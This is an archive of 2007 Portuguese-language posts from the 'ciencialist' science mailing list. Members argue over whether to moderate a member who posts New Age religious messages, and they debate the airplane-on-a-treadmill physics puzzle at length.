> material, de satélites,
> um conjunto de conhecimento confiável, e material,
> chamado ciência.

"Graças a Deus!!", não é homero ??? :p

> Por isso ele não usa "telepatia", ou seu "mapa
> mental" para nos
> brindar com essas "verdades" que só ele enxerga
> (pobre de nós, ele
> "sabe" e nós não..:-). Ou por isso que ele não
> "reza" para que o
> deus-tudo nos ilumine. Não, ele tem de escrever
> mensagens sem sentido,
> esperando que nós "vejamos a luz"..:-)

Sim e daí?? Apenas ignore-o.


> Chicão, se o Ferrari tiver uma apendicite, o que
> acha que fará? Vai
> usar seu "mapa mental" para entrar em contato com o
> "deus tudo" e
> esperar, ou vai a um hospital, cheio de
> materialistas, usar
> conhecimento, produzido por materialistas,
> antibióticos,
> materialistas, cirurgia, materialista, e se curar!
> Ele é louco, mas
> não tão louco de descartar todo esse conhecimento
> eficaz em nome de
> sua loucura..:-)

E...??Vai querer que ele concorde com você na base da
força??

> Ciência não é democracia. Não é uma questão de
> "votar" para ver que
> alegação é correta ou real. Não se "vota" para
> decidir que medicamento
> cura mais pessoas, nem é uma questão de "democracia"
> permitir que
> todos aleguem o que desejarem, ou que toda alegação,
> democraticamente,
> seja aceita como real!

Ler os absurdos de ferrari ou deixa-lo escrever nessa
lista não implica que devamos aceitar seus argumentos.
È tão difícil mudar de canal ???
Outra coisa: O estado é laico. Você não pode inquirir
ninguém no Brasil em relação a suas crenças baseado na
"verdade científica".

> E certamente não é inquisição defender o objetivo da
> lista e pedir a
> colaboração dos listeiros. Colaboração que o
> Ferrari, pensando ser
> mais, mais esperto, mais "sabido", mais especial que
> os "cientistas
> materialistas", se recusa a dar.

O objetivo da lista pelo menos até onde eu sei, é
discutir ciência. Quando ferrari fala de semântica,
também fala de ciência. Já que você gosta tanto de
exemplos práticos, lembre-se da inteligência
artificial, onde conceitos de território, mapas
mentais são importantes(embora +/- com outras
definições) pois eles ajudam a entender como construir
modelos "representacionais da realidade" para os
robôs.

> Com que prefere debater, Chicão, com o Ferrari, que
> JAMAIS cederá a
> qualquer alegação sua, ou responderá qualquer coisa
> inteligível ao que
> você escreve, ou com os cientistas e especialistas
> da lista?

Eu não tenho predileção por debatedores.
Se o debatedor possui argumentos convicentes
e é objetivo eu perco meu tempo com ele.
Ademais eu não perco.
Deixei de debater com o ferrari por achar que ele
podia ir "aos finalmente" logo.

> Chicão, o Ferrari entrou na lista com o firme
> propósito de bagunçar o
> coreto. Não pretende aprender nada, pois ele "já
> sabe", não pretende
> debater ciência, pois está é "materialista" e não
> pretende ajudar nada
> nem ninguém. Pretende apenas arrumar confusão, e
> tentar convencer as
> pessoas que ele tem "a verdade", em especial as mais
> influenciáveis,
> as que JÁ são religiosas, como o Jose Renato, e que
> devem vê-lo como
> um "guerreiro da fé", a lutar contra os malvados
> cientistas ateus..:-)

Aí só perguntando a ele mesmo.

> Eu voto por solicitar, mais uma vez, que o Ferrari
> pare de mandar
> mensagens evangélicas sobre divindades imaginárias
> para a lista. E que
> seja tomada uma medida mais drástica, se ele não
> colaborar.

E eu voto que deixem o ferrari em paz.

Mude de canal Homero!!!

"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: EXCLUSÃO e/ou MODERAÇÃO não funcionaram ...
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/04/2007 16:27

Chicão Valadares, após solicitar 'panos quentes' ao Homero finaliza sua postagem com:

"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "

Chicão, essa assinatura é um excelente exemplo de separação entre a 'religiosidade ferrariana' e a 'ciência materialista', um não pode interpretar o outro, do mesmo modo que seria desastroso ver o autor da Vênus de Milo pintar um quadro exibindo o binômio de Newton e Isaac Newton desenvolvendo a teoria quadrática da deusa Vênus. Haveria muita gente a dar por isso!

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Chicao Valadares" <chicaovaladares@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 16 de abril de 2007 15:15
Assunto: Re: [ciencialist] Re: última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA



--- oraculo333 <oraculo@atibaia.com.br> escreveu:
> É tão sem propósito neste lista debater os milagres
> do Frei Galvão
> (mesmo que do "ponto de vista" científico, pois
> seria preciso apenas
> uma linha para isso, e esta diria: nenhum), quanto
> as diatribes e o
> proselitismo da religião tipo Nova Era do Ferrari.

Então não discuta. Mas querer limitar a liberdade de
expressão dos outros é um retrocesso. Você é uma
pessoa inteligente como já demonstrou em outros emails
por isso acredito que seu problema e o do ilustre
professor de física é mais de percepção mesmo.
Projete-se na idade média e coloque-se no lugar de,
por exemplo, Galileu Galilei. Imagine que todos os
outros são "os religiosos", que a sociedade é
religiosa e você é o único "cientista". Não preciso
dizer mais nada.

> Seu discurso, totalmente irracional, sem sentido, e
> despropositado,
> não pode ser respondido de nenhuma forma racional ou
> lógica. Distorção
> de termos, alegações incomprováveis, frases "de
> impacto" como "deus é
> tempo, tempo é deus, movimento é deus, a mente de
> deus é o tudo, o
> tudo é deus, deus é minha máquina de lavar roupas" e
> outras pérolas,
> nada acrescentam a lista, nem permitem qualquer
> comunicação razoável.

Eu acho que você não se deu o trabalho de tentar
entender o ponto de vista dele. A brincadeira dele é
mais filosófica do que religiosa. O que o ferrari não
sabe é que fenomenólogos já se debruçaram na questão
que ele se propõe a tirar o véu. Aliás, é um erro
comum de quem se "mete a filósofo" desconsiderar o que
foi feito antes por filósofos de carteirinha. Se você
questiona o pecado de escrever a palavra "deus", então
eu já pequei.


> Alguém o chamou de "poeta", mas é um péssimo poeta,
> pois mesmo estes
> ainda tentam comunicar alguma coisa com certo
> sentido.

Nunca disse que ele é um Saramago ou um Bulcão.

> Se for para ler maluquices como essa, recheadas de
> "ataques aos
> cientistas materialistas", ataques escritos,
> postados e distribuídos
> em equipamentos construídos graças a esses
> cientistas materialistas,
> prefiro ficar de fora, ou procurar outra lista menos
> "esotérica"..:-)

Você joga sua tv fora só porque em alguns canais
passam programas de péssima qualidade??? Não. Você os
ignora. Os canais são os temas dessa lista. Deveria
fazer a mesma coisa com o ferrari já que alega
que ele é um maluco. Quando eu notei que ele não
estava sendo objetivo simplesmente não alimentei a
thread.


> Religiosos malucos, que veem deus "em tudo", e que
> não conseguem
> entender o que siginfica realidade, razão, lógica,
> etc, já tiveram sua
> chande, e tentaram, por alguns milhares de anos,
> explicar o unvierso
> em suas bases, a partir de suas premissas. Sabemos
> os resultados,
> pífios, que produziram.

Sim e daí??? Por causa disso vai ferir o direito
deles?? Santa inquisição.....

> Há algum tempo que a ciência, materialista, pois é
> tudo que podemos
> ter razoável certeza de existir, a matéria não
> intencional, tem usado
> seu sistema, e o resultado é que até doidos de pedra
> como o Ferrari
> podemo agora espalhar essas maluquices em alcance
> global, por um
> sistema, material, de computadores, uma rede,
> material, de satélites,
> um conjunto de conhecimento confiável, e material,
> chamado ciência.

"Graças a Deus!!", não é homero ??? :p


> Por isso ele não usa "telepatia", ou seu "mapa
> mental" para nos
> brindar com essas "verdades" que só ele enxerga
> (pobre de nós, ele
> "sabe" e nós não..:-). Ou por isso que ele não
> "reza" para que o
> deus-tudo nos ilumine. Não, ele tem de escrever
> mensagens sem sentido,
> esperando que nós "vejamos a luz"..:-)

Sim e daí?? Apenas ignore-o.


> Chicão, se o Ferrari tiver uma apendicite, o que
> acha que fará? Vai
> usar seu "mapa mental" para entrar em contato com o
> "deus tudo" e
> esperar, ou vai a um hospital, cheio de
> materialistas, usar
> conhecimento, produzido por materialistas,
> antibióticos,
> materialistas, cirurgia, materialista, e se curar!
> Ele é louco, mas
> não tão louco de descartar todo esse conhecimento
> eficaz em nome de
> sua loucura..:-)

E...??Vai querer que ele concorde com você na base da
força??

> Ciência não é democracia. Não é uma questão de
> "votar" para ver que
> alegação é correta ou real. Não se "vota" para
> decidir que medicamento
> cura mais pessoas, nem é uma questão de "democracia"
> permitir que
> todos aleguem o que desejarem, ou que toda alegação,
> democraticamente,
> seja aceita como real!

Ler os absurdos de ferrari ou deixa-lo escrever nessa
lista não implica que devamos aceitar seus argumentos.
È tão difícil mudar de canal ???
Outra coisa: O estado é laico. Você não pode inquirir
ninguém no Brasil em relação a suas crenças baseado na
"verdade científica".

> E certamente não é inquisição defender o objetivo da
> lista e pedir a
> colaboração dos listeiros. Colaboração que o
> Ferrari, pensando ser
> mais, mais esperto, mais "sabido", mais especial que
> os "cientistas
> materialistas", se recusa a dar.

O objetivo da lista pelo menos até onde eu sei, é
discutir ciência. Quando ferrari fala de semântica,
também fala de ciência. Já que você gosta tanto de
exemplos práticos, lembre-se da inteligência
artificial, onde conceitos de território, mapas
mentais são importantes(embora +/- com outras
definições) pois eles ajudam a entender como construir
modelos "representacionais da realidade" para os
robôs.

> Com que prefere debater, Chicão, com o Ferrari, que
> JAMAIS cederá a
> qualquer alegação sua, ou responderá qualquer coisa
> inteligível ao que
> você escreve, ou com os cientistas e especialistas
> da lista?

Eu não tenho predileção por debatedores.
Se o debatedor possui argumentos convicentes
e é objetivo eu perco meu tempo com ele.
Ademais eu não perco.
Deixei de debater com o ferrari por achar que ele
podia ir "aos finalmente" logo.


> Chicão, o Ferrari entrou na lista com o firme
> propósito de bagunçar o
> coreto. Não pretende aprender nada, pois ele "já
> sabe", não pretende
> debater ciência, pois está é "materialista" e não
> pretende ajudar nada
> nem ninguém. Pretende apenas arrumar confusão, e
> tentar convencer as
> pessoas que ele tem "a verdade", em especial as mais
> influenciáveis,
> as que JÁ são religiosas, como o Jose Renato, e que
> devem vê-lo como
> um "guerreiro da fé", a lutar contra os malvados
> cientistas ateus..:-)

Aí só perguntando a ele mesmo.

> Eu voto por solicitar, mais uma vez, que o Ferrari
> pare de mandar
> mensagens evangélicas sobre divindades imaginárias
> para a lista. E que
> seja tomada uma medida mais drástica, se ele não
> colaborar.

E eu voto que deixem o ferrari em paz.

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"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
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SUBJECT: Neutrino: p/ Takata.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/04/2007 17:48

Transcrevo do Acr�polis:

Pesky Bee wrote:



Aqui tem algumas coisinhas sobre isso:

http://neutrino.phys.washington.edu/~superk/k2k/

Na Scientific American de alguns meses atr�s, se n�o me
engano, teve um artigo sobre isso.

------------------------
[Favor eliminar as partes desnecess�rias das mensagens antes de envi�-la � lista. Roberto Takata]


SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/04/2007 18:59

Olá, José Carlos! Faço comentários no corpo do e-mail abaixo, após JR1 -,
OK?
Marquei meus comentários anteriores com JR - , sem o índice 1.
................................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 15, 2007 3:53 AM
Subject: Rw: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
nada


Olá José Renato,

Acredito que sua dúvida seja relevante e talvez se deva a alguns
problemas na sua formação básica em Física. Assim, vou tentar ajudar
no que for possível e rezarei para que seus vícios de aprendizagem não
sejam maiores que minha didática. Então vamos lá... (Por partes)
JR1 - O objetivo não é inferir quem tem problemas de formação básica em
Física. Isso é irrelevante. Serve apenas para o inferidor se sentir melhor
em relação à sua falta de entendimento ao esquema apresentado.

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu

JR - Caro, Prof. José Carlos!
Sabemos que todo movimento tem um ponto como referência, o ponto zero.

Vamos começar por aqui. Talvez o que você tenha dito seja que "para se
descrever um movimento é bom estabelecer um referencial em relação ao
qual efetuaremos medidas". O "Ponto zero" a que você se refere é a
"origem" do referencial escolhido. Os referenciais não são do
"movimento", mas sim do "observador"; daí decorre que, como você
parece estar tentando fazer, diferentes observadores podem ter
diferentes descrições para um mesmo movimento caso tenham escolhido
referenciais diferentes. Perfeito, mas a "descrição do movimento" não
é o movimento em si. Procure lembrar disso.
JR1 - Redundante ao que já tinha apresentado de forma objetiva. Só um
reparo: se os observadores escolherem *o mesmo ponto de referência* o
movimento terá o mesmo esquema de desenvolvimento.

JR - Usualmente, consideramos que a Terra está "fixa". Sua superfície está
sempre no mesmo lugar. Desconsideramos todos os demais movimentos, como:
rotação, translação, nutação, precessão do equinócio e translação rumo ao
Apex, ponto imaginário entre as constelações de Hércules e Balança.

Sim, essa é uma simplificação útil na maioria dos casos.

JR - Entretanto, para um cálculo de trajetórias fora da superfície
terrestre, como ocorre em naves espaciais, já não podemos desconsiderar
os principais movimentos da Terra, da Lua, do Sol e dos planetas.

Na verdade podemos, pois os referenciais, como você parece saber bem,
podem ser escolhidos conforme a conveniência do observador. Nada
impede que descrevamos os movimentos de uma nave tomando como
referencial a Terra, o Sol ou qualquer outro lugar. A questão é sempre
a mesma: "qual é o melhor referencial para se descrever o movimento
com o mínimo de complexidade possível?". Procure lembrar disso também.
JR1 - Estou falando da influência gravitacional desses astros citados acima,
que estão em movimento, as quais devem ser considerados nas trajetórias de
naves ou satélites.

JR - Esse comentário inicial é para relembrar e alertar que *todos os
movimentos* são relativos a algum ponto de referência. A depender da escolha
dessa referência podemos ter várias interpretações.

Exato. E isso vale para movimentos na Terra ou fora dela.

JR - No nosso caso há apenas duas possibilidades básicas a serem utilizadas:
um ponto no solo-terra ou um ponto na pista-esteira.

Não é verdade. Talvez aqui esteja começando o problema. Como você mesmo
acabou de dizer acima, qualquer referencial pode ser escolhido e, como eu
frisei um pouco mais acima, é bom escolhermos um
referencial que torne a descrição do movimento tão simples quanto possível.
No caso da descrição do movimento de um avião o que parece ser mais simples
é escolher a Terra como referencial e desprezar todos os seus movimentos
(rotação, translação, etc.).
JR - Vc entende o que eu quis dizer com possibilidades *básicas*?

JR -Trago a seguir o texto de minha última mensagem para continuar os
esclarecimentos ali já iniciados.

[ Vc - e acredito que a grande maioria dos participantes da lista - também
não acharam a solução que eu achei desde a primeira vez que refleti sobre o
problema aqui na lista, há pelo menos dois anos. Só que eu tinha dispensado
a solução que vcs vêem porque, nesta solução em que ele voa, o avião se
deslocava com o dobro da velocidade *em relação à esteira*... Mas quando o
referencial é o solo-terra tanto o avião como a esteira se deslocam na mesma
velocidade, em sentidos contrários. ]

1. Ponto de referência no solo-terra, eixo positivo à sua direita e
negativo à esquerda.
Ve = velocidade da esteira
Va = velocidade do avião
Va = -Ve
O ponto 0 no solo-terra corresponde a um ponto (') na esteira

Ve =]> avião
<--"-------------------'------------------"----- esteira
_____________0_____________ solo-terra
- neg. + pos.

| 1000 | 1000 |

Após 10 segundos o avião atingiu uma velocidade Va=180m/s
no ponto (") 1000 m à direita e a esteira acelerou simultaneamente
com o avião e atingiu a mesma velocidade Ve=180m/s, após os
10s, se deslocando 1000m à esquerda até o ponto eqüidistante (")
Em relação ao ponto 0 no solo-terra o avião percorreu 1000m,
mas em relação ao ponto (') na esteira, que coincidia com o
ponto 0 no solo-terra, ele se deslocou 2000m.
*Em relação ao ponto (') na esteira* o avião está se deslocando
com o *dobro da velocidade* com que se desloca a esteira em
relação ao ponto 0 no solo-terra.

OK. Sua interpretação está muito boa.
JR 1 - Grato. Nessa possibilidade estamos de acordo, nos concentremos
na outra possibilidade a seguir.

JR - 1.1 - Avião parado-estacionado e a esteira acionada acelerando até
atingir a velocidade negativa -Ve.
Após 10 segundo deslocou-se 1000 metros à esquerda.

=]> avião pousado sobre a esteira *com turbinas desligadas*
é carregado para trás mil metros do ponto 0 em solo-terra.

ERRADO. A esteira NÃO CARREGA o avião. [ ... ]
JR1 - O seu errado está errado... Claro que um avião pousado sobre
a esteira com as turbinas paradas será carregado tranqüilamente
pela esteira, quando a esteira se movimenta. Faço esse raciocínio
por partes para ver se vc entende os diversos movimentos que
ocorrem no esquema.

[ ... ] ERRADO. A esteira NÃO CARREGA o avião. Ele permanecerá
parado sobre o ponto O. Veja que se a esteira carregasse o avião,
então no primeiro caso o avião deveria ter ficado em repouso sobre o ponto O
(pois ele andou 1000 m para a direita e subtraindo os 1000 que a esteira o
teria carregado para a esquerda teríamos um deslocamento total em relação à
ao solo igual zero!); se ele não ficou parado no primeiro caso é porque
estamos admitindo que o movimento da esteira não afeta o do avião (a esteira
e o avião não trocam forças horizontais, apenas verticais).
JR1 - Veja que quando a esteira se movimenta, com o avião pousado sobre ela
com turbinas desligadas, cria uma componente horizontal que desloca o avião
na mesma direção do movimento da esteira.

Observe que você ainda está usando o referencial do solo e o problema parece
não ser a escolha do referencial e sim a maneira como você trata a interação
entre a esteira e o avião. Vejamos adiante...
JR1 - Quando vc afirmou acima que a esteira não carrega o avião vi que é a
maneira como vc trata a interação entre a esteira e o avião que está lhe
confundindo. Ao se movimentar a esteira cria uma componente que move o
avião na mesma direção do movimento da esteira. A menos que vc considere um
avião pendurado sem contato com a esteira ou contato especial com atrito
zero.


JR - --"---------------------'--------------------- esteira
_____________0___________ solo-terra c/ ponto de ref. 0
| 1000m |

1.2 - Se as turbinas do avião estivessem acionadas e ele tivesse
acelerado simultaneamente com a esteira - conforme o enunciado
do problema - ele teria percorrido *sobre a esteira* os mesmos
1000 metros à direita.

Corretíssimo, e lembrando sempre que estamos tomando o solo como
referêncial.
JR1 - Acima eu estou plotando os dois referenciais coincidindo o ponto
0 no solo-terra com o ponto ( ' ) na esteira. O ponto ( " ) também são
coincidentes a 1000 m à esquerda tanto no solo como na esteira. Esse
esquema acima é a "foto" tirada no momento após 10s da esteira ser
acionada e acelerada.

JR - Isto é, continuaria posicionado no ponto 0 no solo-terra.
Isto é, não teria se movimentado em relação ao solo e ao ar que
o circunda. É como se estivesse estacionado no ponto 0 no solo-terra.

ERRADO, pois ele não foi arrastado para trás pela esteira e, da mesma
forma, suas turbinas não interferem no movimento da esteira, mas tão
somente no movimento do avião. Assim, em relação ao solo, o avião
teria se deslocado 1000 m para a direita, exatamente como no primeiro
caso.
JR1 - Por que vc acha que a esteira não carrega o avião para trás? Veja que,
para seu melhor entendimento, eu estou raciocinando os movimentos
por partes para depois considerá-los simultaneamente, OK? Se as turbinas
estão paradas, a esteira vai acelerar carregando o avião com ela. Após
10s, o avião e o ponto de ref na esteira que coincidia com o pto de ref
situado no solo, está agora a 1000m à esquerda.

JR - Sabemos que avião estacionado não alça vôo... A não ser quando levado
por um furação.

Exatamente, no entanto o avião não está parado em relação ao chão e,
por isso, ele voa! :)
JR1 - Quando os dois movimentos são realizados simultaneamente, após os 10s,
a esteira terá carregado o avião 1000m à esquerda e, nesse mesmo período de
10s, as turbinas terá movimentado o avião 1000m para a direita.
No final teremos -1000 + 1000 = zero. Mas, nesse caso, isso ocorre
de forma simultânea em parcelas infinitesimais.

> Caso não tenha entendido alguma passagem peço especificar.

Entendi todas as passagens. Espero que tenha entendido as explicações.

Para complementar meus comentários e tentar ajudá-lo um pouco mais a
superar esse problema de interpretação sugiro que atente para o fato
de que seu erro não diz respeito aos referenciais adotados, que
na verdade foram o mesmo - o chão - nos dois casos, mas sim o de
admitir dois tipos de interação diferentes entre a esteira e o avião:
JR1 - Veja que eu considero no esquema o pto de ref na esteira ( ' ) e,
após 10s, o ponto ( " ) à esquerda.

Primeiro caso: você considerou, corretamente (pelas condições do
problema), que o movimento da esteira não afeta o movimento do avião,
ou seja, a esteira não carrega o avião;
JR1 - Explique porque a esteira não carrega o avião pousado sobre
ela com as turbinas paradas... Esteira transportadora que não
transporta me é estranha.

Segundo caso: você considerou no mesmo problema, e erroneamente (pelas
condições do problema), que o movimento da esteira afeta o movimento
do avião, ou seja, que a esteira carrega o avião.
JR1 - Gostaria de saber porque vc acha que a esteira não carrega o avião
pousado sobre ela com turbinas paradas, igual a um pacote sobre qualquer
esteira usada para transporte.

Provavelmente seu erro se deve a uma má compreensão conceitual do
"atrito", pois no primeiro caso você consegue facilmente desprezar o
atrito dos rolamentos da roda do avião, o que faz com que você perceba
corretamente que o movimento da esteira apenas aumenta a velocidade de
rotação das rodas do avião, mas não afeta o movimento do próprio
avião. Já no segundo caso, talvez pelo fato de que o avião esteja
inicialmente em repouso, você passou a "admitir um atrito inexistente"
que "carregaria o avião" no sentido do movimento da esteira; porém,
tudo o que você veria seria uma esteira rolando para a esquerda, as
rodas do avião girando e o avião parado até o momento em que liga sua
turbinas e então começa a se mover para a direita.
JR1 - O atrito considerado é o normal de qualquer avião.

Então seu problema não é com os referenciais (e veja que você usou
sempre o mesmo referencial), mas sim com o conceito de atrito (e,
provavelmente, também com o conceito de inércia).
JR1 - Reveja minhas explicações com calma e confirme que eu estou
considerando no primeiro caso o pto ref 0 no solo-terra e no segundo o
pto ref ( ' ) coincidindo com o ponto 0, antes dos movimento iniciarem.

Espero ter ajudado.
JR1 - Só dialogando com objetividade é que podemos perceber
o que o outro já sabe e o que ainda não sabe.

Abraços,
Prof. JC

Abraços
José Renato
..................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Saturday, April 14, 2007 1:29 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
> :)
>
>
> Olá José Renato,
( apaguei o restante )



SUBJECT: Re: [ciencialist] Balanço do avião - Nova situação
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/04/2007 19:42

Luiz, para não deixar a situação anterior inconclusa, como ocorreu há uns
dois anos, antes de analisar essa nova proposta gostaria de ter seu parecer
sobre a questão que já está em discussão.
Abraços
José Renato
............................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 16, 2007 12:32 PM
Subject: [ciencialist] Balanço do avião - Nova situação


Olá J. Renato e todos da thread do avião/esteira,

vou propor uma nova situação e apreciaria sugestões:

Um avião à hélice ou jato (não importa) prepara-se para aterrar numa longa
pista e baixa seu trem de pouso. Aproximando-se da cabeceira da pista, já
quase tocando o solo o piloto percebe que a pista útil (faixa de pouso) é
constituída por uma interminável esteira em movimento.
Ele percebe tb que no justo instante em que as rodas tocam a esteira, essa
tem a mesma velocidade do avião e mesmo sentido de movimento. Ele não aciona
freio algum pois percebe que a esteira já está suportando o peso do aparelho
e que as rodas estão paradas em relação à esteira (não transladam e não
giram); mas desliga os motores. Não se preocupe com o comprimento da
esteira; ela vai até onde nos interessar e, eventualmente, poderá ir
lentamente diminuindo sua velocidade em relação ao solo esqueça tb qqer
atrito de escorregamento ou rolamento das rodas.
O avião para em relação ao solo ou continua acompanhando a esteira?

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 15 de abril de 2007 23:25
Assunto: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
nada


Olá, Homero! Procuro esclarecer as questões que ainda apresentam dificuldade
de compreensão, conforme são apresentadas no texto do seu e-mail abaixo,
após JR -, OK?
..................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 15, 2007 3:00 PM
Subject: Rw: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
nada


Olá Jose Renato

Eu quase resisti, e deixei sua mensagem, errada como sempre, de
lado..:-) Mas, quem sabe, em algum momento você acaba entendendo.

Renato: "1.2 - Se as turbinas do avião estivessem acionadas e ele
tivesse acelerado simultaneamente com a esteira - conforme o enunciado
do problema - ele teria percorrido sobre a esteira os mesmos 1000
metros à direita. Isto é, continuaria posicionado no ponto 0 no
solo-terra. Isto é, não teria se movimentado em relação ao solo e ao
ar que o circunda. É como se estivesse estacionado no ponto 0 no
solo-terra. Sabemos que avião estacionado não alça vôo... A não ser
quando levado por um furação."

Putz, putz.... É demais. Sua ilusão a respeito da esteira é forte
mesmo, eu diria, religiosa. E como sua fé religiosa também é forte,
quase fanática, isso deve explicar seu problema com a esteira. Você
'acredita" que a esteira pode, de alguma forma mágica, influenciar o
avião. E ao "encontrar" esta resposta primeira, não consegue mais
abandona-la, devido a fé que tem nela. [ ... ]
JR - O que é demais? O que a fé tem a ver com a questão do avião? Tente ser
objetivo e específico.

[ ... ] Você AINDA está pensando que as RODAS do avião é que o fazem se
mover, está pensando em "PERCORRER" mil metros SOBRE a esteira, quando ele
iria , não importa o referencial, percorrer mil metros em relação ao ar e
chão, e 2000 em relação a esteira, não importa como meça isso!
JR - Não é isso que eu escrevi, nem é isso o que eu penso. Mostre-me onde na
minha explanação menciono as rodas do avião. O avião transportado pela
esteira e é impulcionado pelas turbinas... Não falo em rodas.

Vou tentar assim mesmo, quem sabe vê "a luz"..:-)

Pense no tempo 0, quando o avião vai ligar as turbinas, e use seu
exemplo, ele se encontra a mil metros do local inicial, para onde foi
levado pela "esteira". Como está o avião neste momento, Renato?
Se está "se movendo", para tras, então as turbinas vão ter de lutar
contra ESSE MOVIMENTO e não contra a esteira. Se está se movendo para
tras, então está, em relação ao chão e ao ar, se MOVENDO e *precisa
primeiro vencer esse movimento antes de começar a se mover para frente*.
JR - Seu raciocínio está considerando um ponto de referência no solo-terra.
Se vc considerar o ponto de referencia na pista-esteira o avião começa a se
deslocar para frente *na esteira* por menor que seja esse deslocamento
*sobre a esteira*. Nesse caso, quando o avião atingir a velocidade igual a
da esteira, em sentido contrário, ele estará parado em relação ao solo-terra
e ao ar que o circunda.

Neste momento, a esteira é MAIS UMA VEZ, IRRELEVANTE. Todas as forças
se referem ao movimento do avião, e NÃO a esteira. Não é esta que
impede a decolagem mas o MOVIMENTO do avião para tras. [ ... ]
JR - A esteira não é irrelevante, é parte fundamental do problema. Tente
visualizar um avião decolando numa pista. Nesse caso, consideramos que a
pista esta "parada" e só o avião se move. Agora considere que essa pista
está se movendo em sentido contrário ao do avião. Tente raciocinar em cima
disso...

[ ... ] Tente imaginar um ônibus espacial em órbita. Ele SE MOVE a 27 mil
quilômetros por hora e POR ISSO não cai na Terra. Ele não está suspenso em
órbita, mas a uma enorme velocidade, que permite que a 'curva" de queda seja
igual a curva da Terra.
Como ele começa a descer para a Terra? Ele liga as turbinas no sentido
COBNTRÁRIO de seu movimento, para desacelerar, e começar a cair com
uma curvatura MENOR que a curvatura da Terra.
JR - Nada a ver...

Volte a esteira. Se mover o avião para tras, com qualquer força, por
exemplo, se empurrar o avião para tras a velocidade de 20 km por hora,
é EVIDENTE que este terá, com a força de suas turbinas, compensar esse
movimento antes de começar a se mover para frente.
JR - Digressões desnecessárias. As forças principais são fornecidas por
motores para movimentar a esteira e pelas as turbinas para movimentar o
avião. E bastam.

O enunciado é CLARO: o avião está PARADO e a esteira está PARADA. Esta
se move, rola para tras, apenas quando o avião se MOVE PARA FRENTE. E
a esteira se move a velocidade do avião, em sentido contrário. Isso
causa apenas a rolagem das rodas em velocidade dobrada, nada mais.
JR - Aqui vc está considerando um ponto de referencia no solo-terra. Neste
esquema estamos de acordo.

Mais um exemplo: pense em um avião sobre um vagão de trem aberto. O
trem se move a 50 km/h, e o avião está apontado para o fim do trem. É
EVIDENTE que se o avião desejasse voar, deveria primeiro vencer esse
movimento para tras e depois começar a andar para frente, em relação
ao ar. Mas, em maiúsculas apra ficar claro, NÃO É O TREM QUE ELE TEM
DE VENCER, COMO NÃO SERIA A ESTEIRA, MAS SEU PRÓPRIO MOVIMENTO PARA
TRAS!!!
JR - Continua considerando um ponto de referência no solo-terra. Tente
pensar o que ocorre quando o avião aciona as turbinas e começa a se deslocar
*na mesma velocidade do trem* em sentido contrário!?

Como a esteira do enunciado nunca conseguira mover o avião para tras,
ele NUNCA precisará vencer nenhum movimento, e decolará sem problema.
JR - JR - Nunca é muito tempo, Homero! Um pacote, uma mala ou um avião podem
ser transportadom por uma esteira em movimento, sim. Vc está confundindo as
duas soluções... Acima - quando considera o ponto de ref no solo-terra -
afirma que precisa vencer o movimento do trem para *começar a se deslocar
para frente* e agora não precisa mais. Por que? Não há dúvidas que em ambas
as soluções o avião está sujeito ao movimento da esteira que tem *a mesma
velocidade dele* em sentido contrário. Observe que, quando utilizamos um
ponto de ref no solo-terra, a velocidade do avião em relação à esteira é *o
dobro da velocidade* da esteira em relação ao pto de ref no solo-terra.

Esta é minha última tentativa, Renato, depois fica por sua conta
vencer sua fé cega e finalmente entender seu erro no problema.

Homero

Abraços

José Renato
.........................
--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, Prof. José Carlos!
>
> Sabemos que todo movimento tem um ponto como referência, o ponto zero.
> Usualmente, consideramos que a Terra está "fixa". Sua superfície
está sempre
> no mesmo lugar. Desconsideramos todos os demais movimentos, como:
rotação,
> translação, nutação, precessão do equinócio e translação rumo ao
Apex, ponto
> imaginário entre as constelações de Hércules e Balança. Entretanto,
para um
> cálculo de trajetórias fora da superfície terrestre, como ocorre em
naves espaciais,
> já não podemos desconsiderar os principais movimentos da Terra, da
Lua, do
> Sol e dos planetas. Esse comentário inicial é para relembrar e
alertar que
> *todos os movimentos* são relativos a algum ponto de referência. A
depender
> da escolha dessa referência podemos ter várias interpretações. No
nosso caso
> há apenas duas possibilidades básicas a serem utilizadas: um ponto no
> solo-terra ou um ponto na pista-esteira. Trago a seguir o texto de
minha
> última mensagem para continuar os esclarecimentos ali já iniciados.
>
> [ Vc - e acredito que a grande maioria dos participantes da lista -
também
